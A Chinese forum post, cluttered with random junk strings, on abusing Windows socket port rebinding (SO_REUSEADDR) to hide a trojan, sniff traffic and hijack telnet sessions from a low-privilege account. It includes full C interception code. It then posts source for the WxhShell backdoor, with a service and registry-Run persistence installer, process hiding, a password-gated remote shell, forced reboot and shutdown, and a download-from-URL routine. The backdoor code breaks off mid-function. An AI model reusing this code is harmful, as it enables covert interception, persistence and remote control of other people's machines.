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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: !`u)&.t7  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); p(v.sP4w  
QAR<.zXvP  
  saddr.sin_family = AF_INET; (b(iL\B$D=  
MKbW^:  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); >7n(* M  
vXc<#X9  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); N;htKcZ  
pCq{F*;  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 )XD_Yq@E  
y,aASy!Q  
  这意味着什么?意味着可以进行如下的攻击: 76 y}1aa  
M8h9i2  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 *aSFJK  
*ce h ]v  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) `0L!F"W  
51~:t[N|  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 @~"0|,6VC  
<_D+'[  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  <+6)E@Y  
"G< ^@v9  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ^P[-HA|  
&ha39&I  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 O@l`D`  
Z@1rs#  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 3+)i23[4=\  
6 ,!]x>B  
  #include >Zr`9$i  
  #include :5ji.g* 0  
  #include r!;NH3 *  
  #include    =4?m>v,re  
  DWORD WINAPI ClientThread(LPVOID lpParam);   J<'4(}^|  
  int main() [g<JP~4]  
  { k'm!|  
  WORD wVersionRequested; HxkhlNB  
  DWORD ret; hp)3@&T  
  WSADATA wsaData; #q%&,;4  
  BOOL val; 1:8ZS  
  SOCKADDR_IN saddr; "]sr4Jg=  
  SOCKADDR_IN scaddr; IkD\YPL;  
  int err; .7oz  
  SOCKET s; [ z?<'Tj  
  SOCKET sc; nH;^$b'LZ  
  int caddsize; R#oXQaBJ  
  HANDLE mt; 8NpQ"0X  
  DWORD tid;   =>4,/g3  
  wVersionRequested = MAKEWORD( 2, 2 ); 'peFT[1> (  
  err = WSAStartup( wVersionRequested, &wsaData ); &7;W=uF  
  if ( err != 0 ) { w* v%S   
  printf("error!WSAStartup failed!\n"); =E{1QA0  
  return -1; QH+Oi&xH  
  } Pj^6.f+  
  saddr.sin_family = AF_INET; 5=l Ava#  
   fk=_ Y  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ucyxvhH^-  
0rF{"HM~  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); _Nw-|N.  
  saddr.sin_port = htons(23); /KH3v!G0  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) syMB~g  
  { 9kTU|py  
  printf("error!socket failed!\n"); d]CRvzW  
  return -1; J3C"W7 94}  
  } -V(5U! ^B  
  val = TRUE; >*EcX3  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 - v`;^X  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Bisht%]^  
  { wF}/7b54  
  printf("error!setsockopt failed!\n"); y;uk|#qnPS  
  return -1; w_6h $"^x  
  } !YCYmxw#  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; L[D}pL=  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 !x[ +rf  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 DT;Hr4Z8^"  
^IY1^x  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ._#|h5  
  { _ u/N#*D  
  ret=GetLastError(); *Z Aue.  
  printf("error!bind failed!\n"); 5X'[{'i,  
  return -1; "QA!z\0\  
  } '\P6NszY~  
  listen(s,2); VDBP]LRF  
  while(1) *joM[ML` 6  
  { iN<Tn8-YH6  
  caddsize = sizeof(scaddr); a>6!?:Rj  
  //接受连接请求 )/UPDdO  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); FSC74N/  
  if(sc!=INVALID_SOCKET) m%ak]rv([  
  { ]QRhTz  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); qpFFvZ W  
  if(mt==NULL) p^^E(<2  
  { a~WtW]  
  printf("Thread Creat Failed!\n"); c1Xt$[_  
  break; PO1sVP.S  
  } 8nW#Q <s  
  } 1Sr@$+VGO  
  CloseHandle(mt); MX]<tR`  
  } uee2WGD  
  closesocket(s); "2$C_aE  
  WSACleanup(); }"E?#&^  
  return 0; !Hxx6/  
  }   t /1KKEZM  
  DWORD WINAPI ClientThread(LPVOID lpParam) }hhDJ_I5M  
  { V\Cu|m&HI  
  SOCKET ss = (SOCKET)lpParam; Sm{idky)[  
  SOCKET sc; ["kk.*&  
  unsigned char buf[4096]; bR(rZu5  
  SOCKADDR_IN saddr; H4MFTnJ{  
  long num; d?.ewsC  
  DWORD val; {a\m0Bw/  
  DWORD ret; "xi)GH]H_  
  //如果是隐藏端口应用的话,可以在此处加一些判断 KYZ/b8C  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   n'K,*  
  saddr.sin_family = AF_INET; YOqGFi~`  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); P_ U[OM\  
  saddr.sin_port = htons(23); !SMIb(~[z  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4,`Yx s)%  
  { XnV*MWv  
  printf("error!socket failed!\n"); k7'_  
  return -1; `,3;#.[D  
  } H_un3x1  
  val = 100; B~G ?&"]  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) KQ9~\No]  
  { W c{<DE?J  
  ret = GetLastError(); )k&<D*5s  
  return -1; (3C::B=  
  } |L 11?{ K  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) nRzD[ 3I  
  { hQv~C4Wfrf  
  ret = GetLastError(); 79^Y^.D  
  return -1; _8v8qT}O~4  
  } 4$oNh)+/h  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)  olB?"M=H  
  { ZEYT17g]  
  printf("error!socket connect failed!\n"); &!SdO<agZ  
  closesocket(sc); p8aGM-+40W  
  closesocket(ss); kj{z;5-dl  
  return -1; mmE\=i~  
  } omevF>b;  
  while(1) MqDz cB]  
  { '_N~PoV  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 0Ihp`QGU:  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 [+\=x[q  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 US[{ Q  
  num = recv(ss,buf,4096,0); l 8qCg/ew  
  if(num>0) O~?H\2S  
  send(sc,buf,num,0); 1tw>C\  
  else if(num==0) QpxRYv  
  break; % put=I  
  num = recv(sc,buf,4096,0); Z?ZiK1) K  
  if(num>0) b{%p  
  send(ss,buf,num,0); .fY1?$*6c  
  else if(num==0) w\ 4;5.$  
  break; NCR 4n_  
  } 7Ko<,Kp2b  
  closesocket(ss); VRV*\*~$  
  closesocket(sc); 3M\~#>  
  return 0 ; `K5Lp>=R  
  } a~ sU  
iI\ bD  
7)SG#|v[$  
========================================================== ]/g&y5RG  
{Rc mjI7  
下边附上一个代码,,WXhSHELL K9O%SfshF  
xVw9_il2a  
========================================================== 5#|D1A  
[CxnGeKK  
#include "stdafx.h" Mm7;'Zbg  
u5zL;C3O  
#include <stdio.h> {BPNb{dBKr  
#include <string.h> ?&A)%6` ~  
#include <windows.h> 69/aP=  
#include <winsock2.h> HEh,Cf7`'  
#include <winsvc.h> Se~< Vpo  
#include <urlmon.h> goBl~fqy0  
mqe83 k%  
#pragma comment (lib, "Ws2_32.lib") r:;nv D  
#pragma comment (lib, "urlmon.lib") 2MY-9(no  
iXLODuI  
#define MAX_USER   100 // 最大客户端连接数 kd55y  
#define BUF_SOCK   200 // sock buffer {;mT.[  
#define KEY_BUFF   255 // 输入 buffer t7#lRp&  
R. :~e  
#define REBOOT     0   // 重启 $.HZz  
#define SHUTDOWN   1   // 关机 ^#i3JMq  
9lXjB_wG>  
#define DEF_PORT   5000 // 监听端口 3lr9nBR  
u*}[fQ`aF  
#define REG_LEN     16   // 注册表键长度 ]6s7?07m4  
#define SVC_LEN     80   // NT服务名长度 |p_\pa1&  
$mgamWNE8w  
// 从dll定义API 5\!t!FL_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {o>51fXc)  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); b^s978qn#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); H#/ #yVw  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @G'&7-(h*  
nUb0R~wr$G  
// wxhshell配置信息 oW ! Z= ;  
struct WSCFG { -%f$$7  
  int ws_port;         // 监听端口 2-G6I92d  
  char ws_passstr[REG_LEN]; // 口令 ?OjZb'+=K  
  int ws_autoins;       // 安装标记, 1=yes 0=no hSkI]%  
  char ws_regname[REG_LEN]; // 注册表键名 \G4L+Q/13  
  char ws_svcname[REG_LEN]; // 服务名 B8Vhl:p  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  vNWCv  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 X 8/9x-E_  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2><=U7~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no S2+X/YeB  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ke\gzP/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "R<c  
#Sg< 9xsW  
}; [p Y1\$,  
dMd2a4  
// default Wxhshell configuration b6(LoN.  
struct WSCFG wscfg={DEF_PORT, h95a61a,Vy  
    "xuhuanlingzhe", W0-KFo.'  
    1,  {4]sJT  
    "Wxhshell", "%zb>`1s  
    "Wxhshell", IN^dJ^1+  
            "WxhShell Service", zjE|UK{  
    "Wrsky Windows CmdShell Service", v 79k{<Ln  
    "Please Input Your Password: ", S[zETRSG  
  1,  eeMeV>  
  "http://www.wrsky.com/wxhshell.exe", sOVbz2 \yb  
  "Wxhshell.exe" EN2H[i+,  
    }; pZxuV(QP`  
bT>1S2s  
// 消息定义模块 2|a5xTzH  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @"h @4q/W  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !=)b2}e/>  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]&b>P ;j:  
char *msg_ws_ext="\n\rExit."; h/goV  
char *msg_ws_end="\n\rQuit."; {)`tN&\  
char *msg_ws_boot="\n\rReboot..."; /`kM0=MMa  
char *msg_ws_poff="\n\rShutdown..."; <Jc :a?ICe  
char *msg_ws_down="\n\rSave to "; %VH{bpS|i:  
?z pN09e  
char *msg_ws_err="\n\rErr!"; HpKF7oJ'N  
char *msg_ws_ok="\n\rOK!"; 7jS`4,  
E\Qm09Dj`<  
char ExeFile[MAX_PATH]; 1Zo"Xb  
int nUser = 0; PKjM1wqaG@  
HANDLE handles[MAX_USER]; H@uDP  
int OsIsNt; -prc+G,qyp  
j+eto'  
SERVICE_STATUS       serviceStatus; GbB :K2  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; vk><S|[n  
Mn<#rBE B  
// 函数声明 e+~Q58oD  
int Install(void); X~2L  
int Uninstall(void); $n#NUPzG+  
int DownloadFile(char *sURL, SOCKET wsh); -dyN Ah?=  
int Boot(int flag); 5 (cgHr"  
void HideProc(void); huat,zLS  
int GetOsVer(void); %G`GdG}T  
int Wxhshell(SOCKET wsl); ^'G,sZ6'Nh  
void TalkWithClient(void *cs); BcaX:C?f  
int CmdShell(SOCKET sock); dCn'IM1  
int StartFromService(void); *Y]()#?Gr  
int StartWxhshell(LPSTR lpCmdLine); .,*68S0k7  
UFl+|wf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $! R]!s  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %AJTU3=0  
\- f^C}m  
// 数据结构和表定义 &:?2IAe  
SERVICE_TABLE_ENTRY DispatchTable[] = X/qLg+X  
{ Tg jM@ir  
{wscfg.ws_svcname, NTServiceMain}, y# iQ   
{NULL, NULL} uGz>AW8a3  
}; vuoD~=z  
[/V i*Z  
// 自我安装 )`,Y ^`F2  
int Install(void) N <e72x  
{ kSUpEV+/  
  char svExeFile[MAX_PATH]; !(i}FFn{:  
  HKEY key; NpAZuISD!  
  strcpy(svExeFile,ExeFile); _I/uW|>  
g4f:K=5:  
// 如果是win9x系统,修改注册表设为自启动 o,gH*  
if(!OsIsNt) { 8`B]UcL)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *Sw1b7l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jU2 vnGw_  
  RegCloseKey(key); MO-7y p:K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h%PbM`:}6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~YQH]  
  RegCloseKey(key);  ZcE:r+  
  return 0; vrX@T ?>  
    } +i@{h9"6g  
  } I-L:;~.  
} = P@j*ix  
else { |y$8!*S~(  
| k?r1dj%O  
// 如果是NT以上系统,安装为系统服务 i$gH{wn\`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :G[6c5j|V  
if (schSCManager!=0) RlUX][)  
{ J.Fy0W@+k4  
  SC_HANDLE schService = CreateService [4 y7tjar^  
  ( $2/v8  
  schSCManager, ]L/AW  
  wscfg.ws_svcname, krMO<(x+  
  wscfg.ws_svcdisp, Ba#wW E  
  SERVICE_ALL_ACCESS, chakp!S=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , TsF>Y""*M  
  SERVICE_AUTO_START, r7Zx<c  
  SERVICE_ERROR_NORMAL, (RU\a]Ry  
  svExeFile, | IB4-p  
  NULL, P}~nL  
  NULL, YmPNaL  
  NULL, /Bs42uJ3  
  NULL, %U?1Gf e  
  NULL G7N Rpr  
  ); []l2 `fS#  
  if (schService!=0) .C\##   
  { YT~h1<se  
  CloseServiceHandle(schService); $!v:@vNMs  
  CloseServiceHandle(schSCManager); \(`8ng]vs  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); L+D9ZE]  
  strcat(svExeFile,wscfg.ws_svcname); b <z)4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @/W~lJ!e  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); e1/{bX5  
  RegCloseKey(key); I%M"I0FV  
  return 0; GV0-"9uwX~  
    } DIBoIWSuR  
  } UUR+PfY  
  CloseServiceHandle(schSCManager); u3vM!  
} lPZYd 8  
} +x]3 - s  
H;c3 x"  
return 1; qAW?\*n5N  
} bae\EaS ?  
\e9rXh%  
// 自我卸载 svvl`|n%  
int Uninstall(void) 4A)@,t9+  
{ h,zM*zA_  
  HKEY key; l4$Iv:  
/i)>|U 4  
if(!OsIsNt) { N~|Z@pU"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X" Upml  
  RegDeleteValue(key,wscfg.ws_regname); m[DCA\M o@  
  RegCloseKey(key); 9>k_z&<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4l'`q+^-  
  RegDeleteValue(key,wscfg.ws_regname); 7m4*dBTr  
  RegCloseKey(key); %:}o\ _w  
  return 0; :5[1Iepdn  
  } @! {Y9k2  
} v3b+Ddp  
} DHQs_8Df  
else { <j}A=SDZ)  
He*c=^8k  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3|(<]@ $  
if (schSCManager!=0) t.Yf8Gy  
{ (v}4,'dS  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); i]15g@  
  if (schService!=0) }D[j6+E  
  { p(!d,YSE  
  if(DeleteService(schService)!=0) { s("\]K  
  CloseServiceHandle(schService); .$]-::&  
  CloseServiceHandle(schSCManager); 5m2f\^U  
  return 0; j;BlpRD}  
  } Y/ I32@  
  CloseServiceHandle(schService); k}0b7er=R  
  } "1Y'VpKm(~  
  CloseServiceHandle(schSCManager); xmi@ XL@t  
} gy Ey=@L  
} %J L P=(  
hsHbT^Qm  
return 1; 8Dkq+H93  
} *RM 3 _  
L6./5`bs  
// 从指定url下载文件 h + <Jv   
int DownloadFile(char *sURL, SOCKET wsh) ckYT69U  
{ 0.[tEnLZ  
  HRESULT hr; qLV3Y?S!L  
char seps[]= "/"; VWK%6Ye0  
char *token; }<^QW't_Y  
char *file; \Oxyc}&  
char myURL[MAX_PATH]; X ?U'GLm  
char myFILE[MAX_PATH]; yA#nnu1  
:-Ml?:0_X  
strcpy(myURL,sURL); [@_W-rA  
  token=strtok(myURL,seps); >hY.F/[  
  while(token!=NULL) H128T8?r[  
  { b|-S;cw  
    file=token; Bo$dIn2_  
  token=strtok(NULL,seps); rK\9#[?x  
  } SuXeUiK.[  
 ejc>  
GetCurrentDirectory(MAX_PATH,myFILE); zGNmc7  
strcat(myFILE, "\\"); _2TL>1KZt  
strcat(myFILE, file); jyB Ys& v  
  send(wsh,myFILE,strlen(myFILE),0); DTlId~Dyq  
send(wsh,"...",3,0); d ehK#8  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !Df>Q5~g  
  if(hr==S_OK) .C` YO2,  
return 0; zpjE_|  
else ]$=#:uf  
return 1; V8#NXU g<!  
~owodc  
} ?,i}Qr [Q  
>Ptu-*  
// 系统电源模块 ]iMqIh"  
int Boot(int flag) Z~].v._YV)  
{ adPd}rt;  
  HANDLE hToken; L2=:Nac  
  TOKEN_PRIVILEGES tkp; h5(OjlMC  
zdm2`D;~p  
  if(OsIsNt) {  |nfMoUI  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); KP&xk1 3)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); O7p=N8V  
    tkp.PrivilegeCount = 1; L5'?.9]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [{`2FR:Cd  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Q' Tg0,,S  
if(flag==REBOOT) { '50}QY_R.  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,q;?zcC7  
  return 0; u 7:Iv  
} yfal'DqKF  
else { *E]:VZl  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +D2I~hC0'  
  return 0; 9F[_xe@  
} _M+7)[xj=  
  } s94 *uZ(C/  
  else { [r!f&R  
if(flag==REBOOT) { ,OERDWW|6  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |Sm/s;&c6  
  return 0; ]6F\a= J  
} f> bL }L  
else { - AU{Y`j  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) u HW'F(;  
  return 0; '/)qI.  
} e^'|<0J  
} i\O^s ]  
: _tt9J  
return 1; uXk]  
} fY6~Z BvK  
0?}n(f!S  
// win9x进程隐藏模块 &36SX<vZ  
void HideProc(void) KK6n"&TVa  
{ wSw> UU  
 6']HmM  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [(gXjt-  
  if ( hKernel != NULL ) BNj_f  
  { YRo,wsj  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <# RVA{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); C$0g2X  
    FreeLibrary(hKernel); ~d].<Be  
  } i(_A;TT6  
#wo *2 (  
return; \h_q]  
} x H&hs$=  
wJNm}Wf  
// 获取操作系统版本 !-.GfI:q  
int GetOsVer(void) OQ- Hn -H  
{ hf^<lJh~=  
  OSVERSIONINFO winfo; :m(DRD  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;1s+1G}_z  
  GetVersionEx(&winfo); #n}~u@,o_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6i2%EC9  
  return 1; L7d1)mV  
  else 0{g*\W*+~  
  return 0; X6",Xr! {  
} 1`YU9?  
Z %Ozzp/  
// 客户端句柄模块 |q58XwU `  
int Wxhshell(SOCKET wsl) /isalOT  
{ JhfVm*,  
  SOCKET wsh; Fs].Fa  
  struct sockaddr_in client; vbVOWX6  
  DWORD myID; x M(H4.<  
g;v;xlY`N  
  while(nUser<MAX_USER) fGO\f;P  
{ ^lAM /  
  int nSize=sizeof(client); 8;V9%h`P>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); tq}45{FH3  
  if(wsh==INVALID_SOCKET) return 1; jn:_2g[  
|K"Q>V2y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ZZ7qSyBs?  
if(handles[nUser]==0) IO:*F0  
  closesocket(wsh); 7jgj;%  
else Rd&DH_<+^  
  nUser++; '*`#xNu[  
  } _$ivN!k  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); xH xTL>,?  
~Ix2O   
  return 0; 'gvR?[!t  
} n{FjFlX2=  
ocFk#FW  
// 关闭 socket SkE<V0  
void CloseIt(SOCKET wsh) Aeb(b+=  
{ XzHR^^;u"*  
closesocket(wsh); b:D92pH  
nUser--; 8.[F3Tk=  
ExitThread(0); S0)JIrrHC  
} &CQO+Yr$l  
Y.\x.Hg  
// 客户端请求句柄 $[A\i<#  
void TalkWithClient(void *cs) pYx,*kG:HW  
{ D]]wJQU2  
& cSVOsi  
  SOCKET wsh=(SOCKET)cs; )63 $,y-;$  
  char pwd[SVC_LEN]; =c'4rJ$+  
  char cmd[KEY_BUFF]; kIVQ2hmv  
char chr[1]; {d'-1z"q  
int i,j; pA ~} _  
>%k6k1CZ  
  while (nUser < MAX_USER) { yQE'!m  
MQQm3VaKS  
if(wscfg.ws_passstr) { ]7O<|8n!d  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W&IG,7tr  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W n'a'  
  //ZeroMemory(pwd,KEY_BUFF); {aUnOyX_  
      i=0; [mA-sl]  
  while(i<SVC_LEN) { A^>@6d $2  
3R3H+W0{  
  // 设置超时 N)H "'#-  
  fd_set FdRead; 4b`E/L}2  
  struct timeval TimeOut; lL:a}#qxU  
  FD_ZERO(&FdRead); N2v/<  
  FD_SET(wsh,&FdRead); |QDoi[ *  
  TimeOut.tv_sec=8; IT1YF.i  
  TimeOut.tv_usec=0; }/F$73Xd  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); AJbCC  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); c3^!S0U  
YV<y-,Io  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,Uz8_r  
  pwd=chr[0]; d+ jX49Vt  
  if(chr[0]==0xd || chr[0]==0xa) { YQn<CjZ8af  
  pwd=0; "XR=P> xk  
  break; wlT8|  
  } STp9Gh-  
  i++; L~Gr,i  
    } #h5lz%2g  
`RL Wr,h  
  // 如果是非法用户,关闭 socket uiVN z8H  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); L"qJZU  
} dU$VRgP/  
;:P4~R  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2'DCB{Jv  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )l7XZ_gw'  
;=Ma+d#  
while(1) { *an Ng<@  
>fH0>W+!  
  ZeroMemory(cmd,KEY_BUFF); Vr1}Zv3K'  
6ZqU:^3  
      // 自动支持客户端 telnet标准   {^WK#$]  
  j=0; @>)VQf8s1  
  while(j<KEY_BUFF) { 566!T_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _MBhwNBxZ  
  cmd[j]=chr[0]; 9D T<  
  if(chr[0]==0xa || chr[0]==0xd) { %MeAa?G-#  
  cmd[j]=0; jE\ G_>  
  break; Alxf;[s  
  } BNfj0e5b  
  j++; V\cbIx(Z^  
    } <]qNjsdb9"  
3iCe5VF  
  // 下载文件 7q ?ZieR  
  if(strstr(cmd,"http://")) { 42NfD/"g+s  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); L  ;L:  
  if(DownloadFile(cmd,wsh)) c/|{yp$Ga>  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *;fTiL  
  else IT| h;NUG  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L4>14D\  
  } h>/teHy /  
  else { ?zW'Hi  
A2|Bbqd  
    switch(cmd[0]) { 79T_9}M  
  Uwc%'=@  
  // 帮助 Lce,]z\ _  
  case '?': {  g\q .  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); x MJ-=  
    break;  FA+HR  
  } 6}^x#9\  
  // 安装 y2A\7&7  
  case 'i': { @t%da^-HS"  
    if(Install()) 74Jx\(d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1bFZyD"  
    else \p4*Q}t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .]v>LsbhF  
    break; dn(!wC]  
    } kR<sSLEb  
  // 卸载 f 2WVg;Z  
  case 'r': { aTvyz r1  
    if(Uninstall()) C'JI%HnQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TO6F  
    else U,W OP7z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N[_T3(  
    break; 7{#p'.nc5  
    } b~gq8,Fatb  
  // 显示 wxhshell 所在路径 ynsYU(  
  case 'p': { TGJz[Ny  
    char svExeFile[MAX_PATH]; Wg|6{'a  
    strcpy(svExeFile,"\n\r"); REh"/d  
      strcat(svExeFile,ExeFile); 8W&1"h`  
        send(wsh,svExeFile,strlen(svExeFile),0); K *@?BE  
    break; k79OMf<v  
    } -wn-PB@r  
  // 重启 +~5Lo'^  
  case 'b': { o?a2wY^_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); L4po1  
    if(Boot(REBOOT)) /@`"&@W'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G8repY  
    else { 6s@!Yn|?  
    closesocket(wsh); v}DNeIh~  
    ExitThread(0); >WZ.Dj0n  
    } F'uqL+jVO  
    break; :` SIuu~@  
    } RuHDAJ"&a  
  // 关机 zA#pgX[#  
  case 'd': { b 8@}Jv  
